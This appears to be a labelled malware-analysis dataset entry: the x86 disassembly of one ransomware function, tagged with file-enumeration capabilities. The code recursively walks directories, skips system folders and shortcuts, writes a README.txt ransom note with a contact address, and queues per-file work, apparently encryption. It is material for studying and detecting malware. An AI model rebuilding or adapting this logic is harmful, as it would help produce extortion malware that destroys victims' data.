Function at 0x401400
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x798
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x794], eax
mov eax, dword [esp + 0x79c]
push ebx
push ebp
push esi
mov dword [esp + 0x18], eax
mov ebx, ecx
mov eax, dword [esp + 0x7b0]
xor esi, esi
push edi
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
mov dword [esp + 0x14], eax
mov eax, str.C:Windows
mov dword [esp + 0x18], edx
mov dword [esp + 0x20], str.C:Windows
mov dword [esp + 0x24], str.C:UsersDefault
mov dword [esp + 0x28], str.C:UsersPublic
mov dword [esp + 0x2c], 0
push eax
push ebx
call edi
add esp, 8
test eax, eax
je 0x40175b
mov eax, dword [esp + esi*4 + 0x24]
inc esi
test eax, eax
jne 0x401461
push ebx
push str._s
lea eax, [esp + 0x5a8]
push 0x200
push eax
call fcn.004010c0
add esp, 0x10
lea eax, [esp + 0x60]
push eax
lea eax, [esp + 0x5a4]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
je 0x40175b
mov ebp, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov esi, eax
nop dword [eax]
mov ecx, 0x4061a8
lea eax, [esp + 0x8c]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4014f0
test dl, dl
je 0x4014ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4014f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4014d0
xor eax, eax
jmp 0x4014f5
sbb eax, eax
or eax, 1
test eax, eax
je 0x401740
mov ecx, 0x4061a4
lea eax, [esp + 0x8c]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401530
test dl, dl
je 0x40152c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401530
add eax, 2
add ecx, 2
test dl, dl
jne 0x401510
xor eax, eax
jmp 0x401535
sbb eax, eax
or eax, 1
test eax, eax
je 0x401740
lea eax, [esp + 0x8c]
push eax
push ebx
push str._s_s
lea eax, [esp + 0x3ac]
push 0x200
push eax
call fcn.004010c0
add esp, 0x14
test byte [esp + 0x60], 0x10
je 0x401599
mov eax, dword [esp + 0x7b0]
cmp eax, 3
jge 0x401740
push dword [esp + 0x14]
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x3a4]
inc eax
push eax
push dword [esp + 0x24]
call fcn.00401400
add esp, 0xc
jmp 0x401740
lea eax, [esp + 0x8c]
push 0x2e
push eax
call dword [sym.imp.VCRUNTIME140.dll_strrchr]
push ebx
push str._sREADME.txt
mov esi, eax
lea eax, [esp + 0x1b0]
push 0x100
push eax
call fcn.004010c0
lea eax, [esp + 0x48]
push eax
lea eax, [esp + 0x1bc]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
add esp, 0x20
test eax, eax
je 0x40167a
test esi, esi
je 0x4015f8
push str..lnk
push esi
call edi
add esp, 8
test eax, eax
je 0x40167a
push ebx
push str._sREADME.txt
lea eax, [esp + 0x1a8]
push 0x100
push eax
call fcn.004010c0
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x1b4]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
add esp, 0x18
test eax, eax
je 0x40167a
push ebx
push 0x40624c
lea eax, [esp + 0x2a8]
push 0x100
push eax
call fcn.004010c0
lea eax, [esp + 0x2b0]
push 0x406248
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
add esp, 0x18
test esi, esi
je 0x40167a
push dword [esp + 0x14]
push str.Your_files_have_been_fucked._nYour_personal_ID:__s_nMessage_me_here_petergriffin69_firemail.eu
push esi
call fcn.00401010
add esp, 0xc
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
push 0x34
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
je 0x40173c
lea eax, [esp + 0x3a0]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
add esp, 4
mov dword [esi], eax
test eax, eax
je 0x401736
mov eax, dword [esp + 0x18]
push 0x406640
push esi
push 0x401100
vmovdqu ymm0, ymmword [eax]
mov eax, dword [esp + 0x28]
vmovdqu ymmword [esi + 4], ymm0
vmovdqu xmm0, xmmword [eax]
vmovdqu xmmword [esi + 0x24], xmm0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThreadpoolWork]
test eax, eax
je 0x4016e5
push eax
call dword [sym.imp.KERNEL32.dll_SubmitThreadpoolWork]
jmp 0x40173c
mov edx, dword [esi]
mov ecx, edx
lea edi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4016f0
sub ecx, edi
je 0x40170b
nop dword [eax + eax]
mov byte [edx], 0
lea edx, [edx + 1]
sub ecx, 1
jne 0x401700
push dword [esi]
call ebp
add esp, 4
mov ecx, 0x34
mov eax, esi
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x401720
push esi
call ebp
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
jmp 0x401739
push esi
call ebp
add esp, 4
mov esi, dword [esp + 0x10]
lea eax, [esp + 0x60]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4014c0
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x7a4]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00402269
add esp, 0x798
ret